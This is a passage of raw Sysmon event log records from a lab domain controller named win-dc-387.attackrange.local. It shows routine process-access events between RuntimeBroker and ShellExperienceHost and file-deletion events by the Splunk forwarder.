.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.430{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EC57C3C007C6537F90DEB88FCB56B0E1,SHA256=78A470260AB18EF85E208618D2B57FBC9E81013068682B77253F408987F78B0C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.430{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0C5631FDF06F678C0F7B93B0BCA90FDF,SHA256=DC6ABDFCB43152114243E77E39AA01689659758264809FE43D74B56599E48C5B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.370{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=345CA6C277CB099519B00011C93CC066,SHA256=BF6824CEAC40C52C2659C1EEC1C592F5F249E15D4B6586E69E57C3E1A40D044B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.370{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.370{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.370{7BD73061-6D0E-613B-8A06-00000000F001}32685444C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 10341000x800000000000000045765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.370{7BD73061-6D0E-613B-8A06-00000000F001}32685856C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.370{7BD73061-6D0E-613B-8A06-00000000F001}32685856C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.370{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32685444C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 10341000x800000000000000045760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32685444C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 10341000x800000000000000045759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32684932C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 10341000x800000000000000045756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686056C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 10341000x800000000000000045753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.352{7BD73061-6D0E-613B-8A06-00000000F001}32685848C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 10341000x800000000000000045750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 